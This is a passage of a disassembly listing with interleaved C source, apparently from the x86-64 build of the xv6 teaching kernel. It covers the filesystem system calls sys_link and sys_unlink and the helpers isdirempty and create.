ffff800000108720: ff d0 callq *%rax
ffff800000108722: 85 c0 test %eax,%eax
ffff800000108724: 78 21 js ffff800000108747 <sys_fstat+0x4e>
ffff800000108726: 48 8d 45 f0 lea -0x10(%rbp),%rax
ffff80000010872a: ba 14 00 00 00 mov $0x14,%edx
ffff80000010872f: 48 89 c6 mov %rax,%rsi
ffff800000108732: bf 01 00 00 00 mov $0x1,%edi
ffff800000108737: 48 b8 05 82 10 00 00 movabs $0xffff800000108205,%rax
ffff80000010873e: 80 ff ff
ffff800000108741: ff d0 callq *%rax
ffff800000108743: 85 c0 test %eax,%eax
ffff800000108745: 79 07 jns ffff80000010874e <sys_fstat+0x55>
return -1;
ffff800000108747: b8 ff ff ff ff mov $0xffffffff,%eax
ffff80000010874c: eb 1a jmp ffff800000108768 <sys_fstat+0x6f>
return filestat(f, st);
ffff80000010874e: 48 8b 55 f0 mov -0x10(%rbp),%rdx
ffff800000108752: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000108756: 48 89 d6 mov %rdx,%rsi
ffff800000108759: 48 89 c7 mov %rax,%rdi
ffff80000010875c: 48 b8 cd 1d 10 00 00 movabs $0xffff800000101dcd,%rax
ffff800000108763: 80 ff ff
ffff800000108766: ff d0 callq *%rax
}
ffff800000108768: c9 leaveq
ffff800000108769: c3 retq
ffff80000010876a <isdirempty>:
static int
isdirempty(struct inode *dp)
{
ffff80000010876a: f3 0f 1e fa endbr64
ffff80000010876e: 55 push %rbp
ffff80000010876f: 48 89 e5 mov %rsp,%rbp
ffff800000108772: 48 83 ec 30 sub $0x30,%rsp
ffff800000108776: 48 89 7d d8 mov %rdi,-0x28(%rbp)
int off;
struct dirent de;
// Is the directory dp empty except for "." and ".." ?
for(off=2*sizeof(de); off<dp->size; off+=sizeof(de)){
ffff80000010877a: c7 45 fc 20 00 00 00 movl $0x20,-0x4(%rbp)
ffff800000108781: eb 53 jmp ffff8000001087d6 <isdirempty+0x6c>
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
ffff800000108783: 8b 55 fc mov -0x4(%rbp),%edx
ffff800000108786: 48 8d 75 e0 lea -0x20(%rbp),%rsi
ffff80000010878a: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff80000010878e: b9 10 00 00 00 mov $0x10,%ecx
ffff800000108793: 48 89 c7 mov %rax,%rdi
ffff800000108796: 48 b8 51 2f 10 00 00 movabs $0xffff800000102f51,%rax
ffff80000010879d: 80 ff ff
ffff8000001087a0: ff d0 callq *%rax
ffff8000001087a2: 83 f8 10 cmp $0x10,%eax
ffff8000001087a5: 74 16 je ffff8000001087bd <isdirempty+0x53>
panic("isdirempty: readi");
ffff8000001087a7: 48 bf 3c c9 10 00 00 movabs $0xffff80000010c93c,%rdi
ffff8000001087ae: 80 ff ff
ffff8000001087b1: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff8000001087b8: 80 ff ff
ffff8000001087bb: ff d0 callq *%rax
if(de.inum != 0)
ffff8000001087bd: 0f b7 45 e0 movzwl -0x20(%rbp),%eax
ffff8000001087c1: 66 85 c0 test %ax,%ax
ffff8000001087c4: 74 07 je ffff8000001087cd <isdirempty+0x63>
return 0;
ffff8000001087c6: b8 00 00 00 00 mov $0x0,%eax
ffff8000001087cb: eb 1f jmp ffff8000001087ec <isdirempty+0x82>
for(off=2*sizeof(de); off<dp->size; off+=sizeof(de)){
ffff8000001087cd: 8b 45 fc mov -0x4(%rbp),%eax
ffff8000001087d0: 83 c0 10 add $0x10,%eax
ffff8000001087d3: 89 45 fc mov %eax,-0x4(%rbp)
ffff8000001087d6: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff8000001087da: 8b 90 9c 00 00 00 mov 0x9c(%rax),%edx
ffff8000001087e0: 8b 45 fc mov -0x4(%rbp),%eax
ffff8000001087e3: 39 c2 cmp %eax,%edx
ffff8000001087e5: 77 9c ja ffff800000108783 <isdirempty+0x19>
}
return 1;
ffff8000001087e7: b8 01 00 00 00 mov $0x1,%eax
}
ffff8000001087ec: c9 leaveq
ffff8000001087ed: c3 retq
ffff8000001087ee <sys_link>:
// Create the path new as a link to the same inode as old.
int
sys_link(void)
{
ffff8000001087ee: f3 0f 1e fa endbr64
ffff8000001087f2: 55 push %rbp
ffff8000001087f3: 48 89 e5 mov %rsp,%rbp
ffff8000001087f6: 48 83 ec 30 sub $0x30,%rsp
char name[DIRSIZ], *new, *old;
struct inode *dp, *ip;
if(argstr(0, &old) < 0 || argstr(1, &new) < 0)
ffff8000001087fa: 48 8d 45 d0 lea -0x30(%rbp),%rax
ffff8000001087fe: 48 89 c6 mov %rax,%rsi
ffff800000108801: bf 00 00 00 00 mov $0x0,%edi
ffff800000108806: 48 b8 99 82 10 00 00 movabs $0xffff800000108299,%rax
ffff80000010880d: 80 ff ff
ffff800000108810: ff d0 callq *%rax
ffff800000108812: 85 c0 test %eax,%eax
ffff800000108814: 78 1c js ffff800000108832 <sys_link+0x44>
ffff800000108816: 48 8d 45 d8 lea -0x28(%rbp),%rax
ffff80000010881a: 48 89 c6 mov %rax,%rsi
ffff80000010881d: bf 01 00 00 00 mov $0x1,%edi
ffff800000108822: 48 b8 99 82 10 00 00 movabs $0xffff800000108299,%rax
ffff800000108829: 80 ff ff
ffff80000010882c: ff d0 callq *%rax
ffff80000010882e: 85 c0 test %eax,%eax
ffff800000108830: 79 0a jns ffff80000010883c <sys_link+0x4e>
return -1;
ffff800000108832: b8 ff ff ff ff mov $0xffffffff,%eax
ffff800000108837: e9 0c 02 00 00 jmpq ffff800000108a48 <sys_link+0x25a>
begin_op();
ffff80000010883c: b8 00 00 00 00 mov $0x0,%eax
ffff800000108841: 48 ba ab 52 10 00 00 movabs $0xffff8000001052ab,%rdx
ffff800000108848: 80 ff ff
ffff80000010884b: ff d2 callq *%rdx
if((ip = namei(old)) == 0){
ffff80000010884d: 48 8b 45 d0 mov -0x30(%rbp),%rax
ffff800000108851: 48 89 c7 mov %rax,%rdi
ffff800000108854: 48 b8 ff 37 10 00 00 movabs $0xffff8000001037ff,%rax
ffff80000010885b: 80 ff ff
ffff80000010885e: ff d0 callq *%rax
ffff800000108860: 48 89 45 f8 mov %rax,-0x8(%rbp)
ffff800000108864: 48 83 7d f8 00 cmpq $0x0,-0x8(%rbp)
ffff800000108869: 75 1b jne ffff800000108886 <sys_link+0x98>
end_op();
ffff80000010886b: b8 00 00 00 00 mov $0x0,%eax
ffff800000108870: 48 ba 85 53 10 00 00 movabs $0xffff800000105385,%rdx
ffff800000108877: 80 ff ff
ffff80000010887a: ff d2 callq *%rdx
return -1;
ffff80000010887c: b8 ff ff ff ff mov $0xffffffff,%eax
ffff800000108881: e9 c2 01 00 00 jmpq ffff800000108a48 <sys_link+0x25a>
}
ilock(ip);
ffff800000108886: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010888a: 48 89 c7 mov %rax,%rdi
ffff80000010888d: 48 b8 e8 28 10 00 00 movabs $0xffff8000001028e8,%rax
ffff800000108894: 80 ff ff
ffff800000108897: ff d0 callq *%rax
if(ip->type == T_DIR){
ffff800000108899: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010889d: 0f b7 80 94 00 00 00 movzwl 0x94(%rax),%eax
ffff8000001088a4: 66 83 f8 01 cmp $0x1,%ax
ffff8000001088a8: 75 2e jne ffff8000001088d8 <sys_link+0xea>
iunlockput(ip);
ffff8000001088aa: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001088ae: 48 89 c7 mov %rax,%rdi
ffff8000001088b1: 48 b8 d8 2b 10 00 00 movabs $0xffff800000102bd8,%rax
ffff8000001088b8: 80 ff ff
ffff8000001088bb: ff d0 callq *%rax
end_op();
ffff8000001088bd: b8 00 00 00 00 mov $0x0,%eax
ffff8000001088c2: 48 ba 85 53 10 00 00 movabs $0xffff800000105385,%rdx
ffff8000001088c9: 80 ff ff
ffff8000001088cc: ff d2 callq *%rdx
return -1;
ffff8000001088ce: b8 ff ff ff ff mov $0xffffffff,%eax
ffff8000001088d3: e9 70 01 00 00 jmpq ffff800000108a48 <sys_link+0x25a>
}
ip->nlink++;
ffff8000001088d8: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001088dc: 0f b7 80 9a 00 00 00 movzwl 0x9a(%rax),%eax
ffff8000001088e3: 83 c0 01 add $0x1,%eax
ffff8000001088e6: 89 c2 mov %eax,%edx
ffff8000001088e8: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001088ec: 66 89 90 9a 00 00 00 mov %dx,0x9a(%rax)
iupdate(ip);
ffff8000001088f3: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001088f7: 48 89 c7 mov %rax,%rdi
ffff8000001088fa: 48 b8 4a 26 10 00 00 movabs $0xffff80000010264a,%rax
ffff800000108901: 80 ff ff
ffff800000108904: ff d0 callq *%rax
iunlock(ip);
ffff800000108906: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010890a: 48 89 c7 mov %rax,%rdi
ffff80000010890d: 48 b8 7d 2a 10 00 00 movabs $0xffff800000102a7d,%rax
ffff800000108914: 80 ff ff
ffff800000108917: ff d0 callq *%rax
if((dp = nameiparent(new, name)) == 0)
ffff800000108919: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff80000010891d: 48 8d 55 e2 lea -0x1e(%rbp),%rdx
ffff800000108921: 48 89 d6 mov %rdx,%rsi
ffff800000108924: 48 89 c7 mov %rax,%rdi
ffff800000108927: 48 b8 2d 38 10 00 00 movabs $0xffff80000010382d,%rax
ffff80000010892e: 80 ff ff
ffff800000108931: ff d0 callq *%rax
ffff800000108933: 48 89 45 f0 mov %rax,-0x10(%rbp)
ffff800000108937: 48 83 7d f0 00 cmpq $0x0,-0x10(%rbp)
ffff80000010893c: 0f 84 9b 00 00 00 je ffff8000001089dd <sys_link+0x1ef>
goto bad;
ilock(dp);
ffff800000108942: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000108946: 48 89 c7 mov %rax,%rdi
ffff800000108949: 48 b8 e8 28 10 00 00 movabs $0xffff8000001028e8,%rax
ffff800000108950: 80 ff ff
ffff800000108953: ff d0 callq *%rax
if(dp->dev != ip->dev || dirlink(dp, name, ip->inum) < 0){
ffff800000108955: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000108959: 8b 10 mov (%rax),%edx
ffff80000010895b: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010895f: 8b 00 mov (%rax),%eax
ffff800000108961: 39 c2 cmp %eax,%edx
ffff800000108963: 75 25 jne ffff80000010898a <sys_link+0x19c>
ffff800000108965: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000108969: 8b 50 04 mov 0x4(%rax),%edx
ffff80000010896c: 48 8d 4d e2 lea -0x1e(%rbp),%rcx
ffff800000108970: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000108974: 48 89 ce mov %rcx,%rsi
ffff800000108977: 48 89 c7 mov %rax,%rdi
ffff80000010897a: 48 b8 6f 34 10 00 00 movabs $0xffff80000010346f,%rax
ffff800000108981: 80 ff ff
ffff800000108984: ff d0 callq *%rax
ffff800000108986: 85 c0 test %eax,%eax
ffff800000108988: 79 15 jns ffff80000010899f <sys_link+0x1b1>
iunlockput(dp);
ffff80000010898a: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff80000010898e: 48 89 c7 mov %rax,%rdi
ffff800000108991: 48 b8 d8 2b 10 00 00 movabs $0xffff800000102bd8,%rax
ffff800000108998: 80 ff ff
ffff80000010899b: ff d0 callq *%rax
goto bad;
ffff80000010899d: eb 3f jmp ffff8000001089de <sys_link+0x1f0>
}
iunlockput(dp);
ffff80000010899f: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff8000001089a3: 48 89 c7 mov %rax,%rdi
ffff8000001089a6: 48 b8 d8 2b 10 00 00 movabs $0xffff800000102bd8,%rax
ffff8000001089ad: 80 ff ff
ffff8000001089b0: ff d0 callq *%rax
iput(ip);
ffff8000001089b2: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001089b6: 48 89 c7 mov %rax,%rdi
ffff8000001089b9: 48 b8 ea 2a 10 00 00 movabs $0xffff800000102aea,%rax
ffff8000001089c0: 80 ff ff
ffff8000001089c3: ff d0 callq *%rax
end_op();
ffff8000001089c5: b8 00 00 00 00 mov $0x0,%eax
ffff8000001089ca: 48 ba 85 53 10 00 00 movabs $0xffff800000105385,%rdx
ffff8000001089d1: 80 ff ff
ffff8000001089d4: ff d2 callq *%rdx
return 0;
ffff8000001089d6: b8 00 00 00 00 mov $0x0,%eax
ffff8000001089db: eb 6b jmp ffff800000108a48 <sys_link+0x25a>
goto bad;
ffff8000001089dd: 90 nop
bad:
ilock(ip);
ffff8000001089de: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001089e2: 48 89 c7 mov %rax,%rdi
ffff8000001089e5: 48 b8 e8 28 10 00 00 movabs $0xffff8000001028e8,%rax
ffff8000001089ec: 80 ff ff
ffff8000001089ef: ff d0 callq *%rax
ip->nlink--;
ffff8000001089f1: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001089f5: 0f b7 80 9a 00 00 00 movzwl 0x9a(%rax),%eax
ffff8000001089fc: 83 e8 01 sub $0x1,%eax
ffff8000001089ff: 89 c2 mov %eax,%edx
ffff800000108a01: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000108a05: 66 89 90 9a 00 00 00 mov %dx,0x9a(%rax)
iupdate(ip);
ffff800000108a0c: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000108a10: 48 89 c7 mov %rax,%rdi
ffff800000108a13: 48 b8 4a 26 10 00 00 movabs $0xffff80000010264a,%rax
ffff800000108a1a: 80 ff ff
ffff800000108a1d: ff d0 callq *%rax
iunlockput(ip);
ffff800000108a1f: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000108a23: 48 89 c7 mov %rax,%rdi
ffff800000108a26: 48 b8 d8 2b 10 00 00 movabs $0xffff800000102bd8,%rax
ffff800000108a2d: 80 ff ff
ffff800000108a30: ff d0 callq *%rax
end_op();
ffff800000108a32: b8 00 00 00 00 mov $0x0,%eax
ffff800000108a37: 48 ba 85 53 10 00 00 movabs $0xffff800000105385,%rdx
ffff800000108a3e: 80 ff ff
ffff800000108a41: ff d2 callq *%rdx
return -1;
ffff800000108a43: b8 ff ff ff ff mov $0xffffffff,%eax
}
ffff800000108a48: c9 leaveq
ffff800000108a49: c3 retq
ffff800000108a4a <sys_unlink>:
//PAGEBREAK!
int
sys_unlink(void)
{
ffff800000108a4a: f3 0f 1e fa endbr64
ffff800000108a4e: 55 push %rbp
ffff800000108a4f: 48 89 e5 mov %rsp,%rbp
ffff800000108a52: 48 83 ec 40 sub $0x40,%rsp
struct inode *ip, *dp;
struct dirent de;
char name[DIRSIZ], *path;
uint off;
if(argstr(0, &path) < 0)
ffff800000108a56: 48 8d 45 c8 lea -0x38(%rbp),%rax
ffff800000108a5a: 48 89 c6 mov %rax,%rsi
ffff800000108a5d: bf 00 00 00 00 mov $0x0,%edi
ffff800000108a62: 48 b8 99 82 10 00 00 movabs $0xffff800000108299,%rax
ffff800000108a69: 80 ff ff
ffff800000108a6c: ff d0 callq *%rax
ffff800000108a6e: 85 c0 test %eax,%eax
ffff800000108a70: 79 0a jns ffff800000108a7c <sys_unlink+0x32>
return -1;
ffff800000108a72: b8 ff ff ff ff mov $0xffffffff,%eax
ffff800000108a77: e9 83 02 00 00 jmpq ffff800000108cff <sys_unlink+0x2b5>
begin_op();
ffff800000108a7c: b8 00 00 00 00 mov $0x0,%eax
ffff800000108a81: 48 ba ab 52 10 00 00 movabs $0xffff8000001052ab,%rdx
ffff800000108a88: 80 ff ff
ffff800000108a8b: ff d2 callq *%rdx
if((dp = nameiparent(path, name)) == 0){
ffff800000108a8d: 48 8b 45 c8 mov -0x38(%rbp),%rax
ffff800000108a91: 48 8d 55 d2 lea -0x2e(%rbp),%rdx
ffff800000108a95: 48 89 d6 mov %rdx,%rsi
ffff800000108a98: 48 89 c7 mov %rax,%rdi
ffff800000108a9b: 48 b8 2d 38 10 00 00 movabs $0xffff80000010382d,%rax
ffff800000108aa2: 80 ff ff
ffff800000108aa5: ff d0 callq *%rax
ffff800000108aa7: 48 89 45 f8 mov %rax,-0x8(%rbp)
ffff800000108aab: 48 83 7d f8 00 cmpq $0x0,-0x8(%rbp)
ffff800000108ab0: 75 1b jne ffff800000108acd <sys_unlink+0x83>
end_op();
ffff800000108ab2: b8 00 00 00 00 mov $0x0,%eax
ffff800000108ab7: 48 ba 85 53 10 00 00 movabs $0xffff800000105385,%rdx
ffff800000108abe: 80 ff ff
ffff800000108ac1: ff d2 callq *%rdx
return -1;
ffff800000108ac3: b8 ff ff ff ff mov $0xffffffff,%eax
ffff800000108ac8: e9 32 02 00 00 jmpq ffff800000108cff <sys_unlink+0x2b5>
}
ilock(dp);
ffff800000108acd: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000108ad1: 48 89 c7 mov %rax,%rdi
ffff800000108ad4: 48 b8 e8 28 10 00 00 movabs $0xffff8000001028e8,%rax
ffff800000108adb: 80 ff ff
ffff800000108ade: ff d0 callq *%rax
// Cannot unlink "." or "..".
if(namecmp(name, ".") == 0 || namecmp(name, "..") == 0)
ffff800000108ae0: 48 8d 45 d2 lea -0x2e(%rbp),%rax
ffff800000108ae4: 48 be 4e c9 10 00 00 movabs $0xffff80000010c94e,%rsi
ffff800000108aeb: 80 ff ff
ffff800000108aee: 48 89 c7 mov %rax,%rdi
ffff800000108af1: 48 b8 36 33 10 00 00 movabs $0xffff800000103336,%rax
ffff800000108af8: 80 ff ff
ffff800000108afb: ff d0 callq *%rax
ffff800000108afd: 85 c0 test %eax,%eax
ffff800000108aff: 0f 84 cd 01 00 00 je ffff800000108cd2 <sys_unlink+0x288>
ffff800000108b05: 48 8d 45 d2 lea -0x2e(%rbp),%rax
ffff800000108b09: 48 be 50 c9 10 00 00 movabs $0xffff80000010c950,%rsi
ffff800000108b10: 80 ff ff
ffff800000108b13: 48 89 c7 mov %rax,%rdi
ffff800000108b16: 48 b8 36 33 10 00 00 movabs $0xffff800000103336,%rax
ffff800000108b1d: 80 ff ff
ffff800000108b20: ff d0 callq *%rax
ffff800000108b22: 85 c0 test %eax,%eax
ffff800000108b24: 0f 84 a8 01 00 00 je ffff800000108cd2 <sys_unlink+0x288>
goto bad;
if((ip = dirlookup(dp, name, &off)) == 0)
ffff800000108b2a: 48 8d 55 c4 lea -0x3c(%rbp),%rdx
ffff800000108b2e: 48 8d 4d d2 lea -0x2e(%rbp),%rcx
ffff800000108b32: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000108b36: 48 89 ce mov %rcx,%rsi
ffff800000108b39: 48 89 c7 mov %rax,%rdi
ffff800000108b3c: 48 b8 6b 33 10 00 00 movabs $0xffff80000010336b,%rax
ffff800000108b43: 80 ff ff
ffff800000108b46: ff d0 callq *%rax
ffff800000108b48: 48 89 45 f0 mov %rax,-0x10(%rbp)
ffff800000108b4c: 48 83 7d f0 00 cmpq $0x0,-0x10(%rbp)
ffff800000108b51: 0f 84 7e 01 00 00 je ffff800000108cd5 <sys_unlink+0x28b>
goto bad;
ilock(ip);
ffff800000108b57: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000108b5b: 48 89 c7 mov %rax,%rdi
ffff800000108b5e: 48 b8 e8 28 10 00 00 movabs $0xffff8000001028e8,%rax
ffff800000108b65: 80 ff ff
ffff800000108b68: ff d0 callq *%rax
if(ip->nlink < 1)
ffff800000108b6a: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000108b6e: 0f b7 80 9a 00 00 00 movzwl 0x9a(%rax),%eax
ffff800000108b75: 66 85 c0 test %ax,%ax
ffff800000108b78: 7f 16 jg ffff800000108b90 <sys_unlink+0x146>
panic("unlink: nlink < 1");
ffff800000108b7a: 48 bf 53 c9 10 00 00 movabs $0xffff80000010c953,%rdi
ffff800000108b81: 80 ff ff
ffff800000108b84: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff800000108b8b: 80 ff ff
ffff800000108b8e: ff d0 callq *%rax
if(ip->type == T_DIR && !isdirempty(ip)){
ffff800000108b90: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000108b94: 0f b7 80 94 00 00 00 movzwl 0x94(%rax),%eax
ffff800000108b9b: 66 83 f8 01 cmp $0x1,%ax
ffff800000108b9f: 75 2f jne ffff800000108bd0 <sys_unlink+0x186>
ffff800000108ba1: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000108ba5: 48 89 c7 mov %rax,%rdi
ffff800000108ba8: 48 b8 6a 87 10 00 00 movabs $0xffff80000010876a,%rax
ffff800000108baf: 80 ff ff
ffff800000108bb2: ff d0 callq *%rax
ffff800000108bb4: 85 c0 test %eax,%eax
ffff800000108bb6: 75 18 jne ffff800000108bd0 <sys_unlink+0x186>
iunlockput(ip);
ffff800000108bb8: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000108bbc: 48 89 c7 mov %rax,%rdi
ffff800000108bbf: 48 b8 d8 2b 10 00 00 movabs $0xffff800000102bd8,%rax
ffff800000108bc6: 80 ff ff
ffff800000108bc9: ff d0 callq *%rax
goto bad;
ffff800000108bcb: e9 06 01 00 00 jmpq ffff800000108cd6 <sys_unlink+0x28c>
}
memset(&de, 0, sizeof(de));
ffff800000108bd0: 48 8d 45 e0 lea -0x20(%rbp),%rax
ffff800000108bd4: ba 10 00 00 00 mov $0x10,%edx
ffff800000108bd9: be 00 00 00 00 mov $0x0,%esi
ffff800000108bde: 48 89 c7 mov %rax,%rdi
ffff800000108be1: 48 b8 03 7c 10 00 00 movabs $0xffff800000107c03,%rax
ffff800000108be8: 80 ff ff
ffff800000108beb: ff d0 callq *%rax
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
ffff800000108bed: 8b 55 c4 mov -0x3c(%rbp),%edx
ffff800000108bf0: 48 8d 75 e0 lea -0x20(%rbp),%rsi
ffff800000108bf4: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000108bf8: b9 10 00 00 00 mov $0x10,%ecx
ffff800000108bfd: 48 89 c7 mov %rax,%rdi
ffff800000108c00: 48 b8 22 31 10 00 00 movabs $0xffff800000103122,%rax
ffff800000108c07: 80 ff ff
ffff800000108c0a: ff d0 callq *%rax
ffff800000108c0c: 83 f8 10 cmp $0x10,%eax
ffff800000108c0f: 74 16 je ffff800000108c27 <sys_unlink+0x1dd>
panic("unlink: writei");
ffff800000108c11: 48 bf 65 c9 10 00 00 movabs $0xffff80000010c965,%rdi
ffff800000108c18: 80 ff ff
ffff800000108c1b: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff800000108c22: 80 ff ff
ffff800000108c25: ff d0 callq *%rax
if(ip->type == T_DIR){
ffff800000108c27: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000108c2b: 0f b7 80 94 00 00 00 movzwl 0x94(%rax),%eax
ffff800000108c32: 66 83 f8 01 cmp $0x1,%ax
ffff800000108c36: 75 2e jne ffff800000108c66 <sys_unlink+0x21c>
dp->nlink--;
ffff800000108c38: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000108c3c: 0f b7 80 9a 00 00 00 movzwl 0x9a(%rax),%eax
ffff800000108c43: 83 e8 01 sub $0x1,%eax
ffff800000108c46: 89 c2 mov %eax,%edx
ffff800000108c48: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000108c4c: 66 89 90 9a 00 00 00 mov %dx,0x9a(%rax)
iupdate(dp);
ffff800000108c53: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000108c57: 48 89 c7 mov %rax,%rdi
ffff800000108c5a: 48 b8 4a 26 10 00 00 movabs $0xffff80000010264a,%rax
ffff800000108c61: 80 ff ff
ffff800000108c64: ff d0 callq *%rax
}
iunlockput(dp);
ffff800000108c66: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000108c6a: 48 89 c7 mov %rax,%rdi
ffff800000108c6d: 48 b8 d8 2b 10 00 00 movabs $0xffff800000102bd8,%rax
ffff800000108c74: 80 ff ff
ffff800000108c77: ff d0 callq *%rax
ip->nlink--;
ffff800000108c79: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000108c7d: 0f b7 80 9a 00 00 00 movzwl 0x9a(%rax),%eax
ffff800000108c84: 83 e8 01 sub $0x1,%eax
ffff800000108c87: 89 c2 mov %eax,%edx
ffff800000108c89: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000108c8d: 66 89 90 9a 00 00 00 mov %dx,0x9a(%rax)
iupdate(ip);
ffff800000108c94: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000108c98: 48 89 c7 mov %rax,%rdi
ffff800000108c9b: 48 b8 4a 26 10 00 00 movabs $0xffff80000010264a,%rax
ffff800000108ca2: 80 ff ff
ffff800000108ca5: ff d0 callq *%rax
iunlockput(ip);
ffff800000108ca7: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000108cab: 48 89 c7 mov %rax,%rdi
ffff800000108cae: 48 b8 d8 2b 10 00 00 movabs $0xffff800000102bd8,%rax
ffff800000108cb5: 80 ff ff
ffff800000108cb8: ff d0 callq *%rax
end_op();
ffff800000108cba: b8 00 00 00 00 mov $0x0,%eax
ffff800000108cbf: 48 ba 85 53 10 00 00 movabs $0xffff800000105385,%rdx
ffff800000108cc6: 80 ff ff
ffff800000108cc9: ff d2 callq *%rdx
return 0;
ffff800000108ccb: b8 00 00 00 00 mov $0x0,%eax
ffff800000108cd0: eb 2d jmp ffff800000108cff <sys_unlink+0x2b5>
goto bad;
ffff800000108cd2: 90 nop
ffff800000108cd3: eb 01 jmp ffff800000108cd6 <sys_unlink+0x28c>
goto bad;
ffff800000108cd5: 90 nop
bad:
iunlockput(dp);
ffff800000108cd6: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000108cda: 48 89 c7 mov %rax,%rdi
ffff800000108cdd: 48 b8 d8 2b 10 00 00 movabs $0xffff800000102bd8,%rax
ffff800000108ce4: 80 ff ff
ffff800000108ce7: ff d0 callq *%rax
end_op();
ffff800000108ce9: b8 00 00 00 00 mov $0x0,%eax
ffff800000108cee: 48 ba 85 53 10 00 00 movabs $0xffff800000105385,%rdx
ffff800000108cf5: 80 ff ff
ffff800000108cf8: ff d2 callq *%rdx
return -1;
ffff800000108cfa: b8 ff ff ff ff mov $0xffffffff,%eax
}
ffff800000108cff: c9 leaveq
ffff800000108d00: c3 retq
ffff800000108d01 <create>:
static struct inode*
create(char *path, short type, short major, short minor)
{
ffff800000108d01: f3 0f 1e fa endbr64
ffff800000108d05: 55 push %rbp
ffff800000108d06: 48 89 e5 mov %rsp,%rbp
ffff800000108d09: 48 83 ec 50 sub $0x50,%rsp
ffff800000108d0d: 48 89 7d c8 mov %rdi,-0x38(%rbp)
ffff800000108d11: 89 c8 mov %ecx,%eax
ffff800000108d13: 89 f1 mov %esi,%ecx
ffff800000108d15: 66 89 4d c4 mov %cx,-0x3c(%rbp)
ffff800000108d19: 66 89 55 c0 mov %dx,-0x40(%rbp)
ffff800000108d1d: 66 89 45 bc mov %ax,-0x44(%rbp)
uint off;
struct inode *ip, *dp;
char name[DIRSIZ];
if((dp = nameiparent(path, name)) == 0)
ffff800000108d21: 48 8d 55 de lea -0x22(%rbp),%rdx
ffff800000108d25: 48 8b 45 c8 mov -0x38(%rbp),%rax
ffff800000108d29: 48 89 d6 mov %rdx,%rsi
ffff800000108d2c: 48 89 c7 mov %rax,%rdi
ffff800000108d2f: 48 b8 2d 38 10 00 00 movabs $0xffff80000010382d,%rax
ffff800000108d36: 80 ff ff
ffff800000108d39: ff d0 callq *%rax
ffff800000108d3b: 48 89 45 f8 mov %rax,-0x8(%rbp)
ffff800000108d3f: 48 83 7d f8 00 cmpq $0x0,-0x8(%rbp)
ffff800000108d44: 75 0a jne ffff800000108d50 <create+0x4f>
return 0;
ffff800000108d46: b8 00 00 00 00 mov $0x0,%eax
ffff800000108d4b: e9 1d 02 00 00 jmpq ffff800000108f6d <create+0x26c>
ilock(dp);
ffff800000108d50: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000108d54: 48 89 c7 mov %rax,%rdi
ffff800000108d57: 48 b8 e8 28 10 00 00 movabs $0xffff8000001028e8,%rax
ffff800000108d5e: 80 ff ff
ffff800000108d61: ff d0 callq *%rax
if((ip = dirlookup(dp, name, &off)) != 0){
ffff800000108d63: 48 8d 55 ec lea -0x14(%rbp),%rdx
ffff800000108d67: 48 8d 4d de lea -0x22(%rbp),%rcx
ffff800000108d6b: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000108d6f: 48 89 ce mov %rcx,%rsi
ffff800000108d72: 48 89 c7 mov %rax,%rdi
ffff800000108d75: 48 b8 6b 33 10 00 00 movabs $0xffff80000010336b,%rax
ffff800000108d7c: 80 ff ff
ffff800000108d7f: ff d0 callq *%rax
ffff800000108d81: 48 89 45 f0 mov %rax,-0x10(%rbp)
ffff800000108d85: 48 83 7d f0 00 cmpq $0x0,-0x10(%rbp)
ffff800000108d8a: 74 64 je ffff800000108df0 <create+0xef>
iunlockput(dp);
ffff800000108d8c: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000108d90: 48 89 c7 mov %rax,%rdi
ffff800000108d93: 48 b8 d8 2b 10 00 00 movabs $0xffff800000102bd8,%rax
ffff800000108d9a: 80 ff ff
ffff800000108d9d: ff d0 callq *%rax
ilock(ip);
ffff800000108d9f: 48 8b 45 f0 mov -0x10(%rbp),%rax
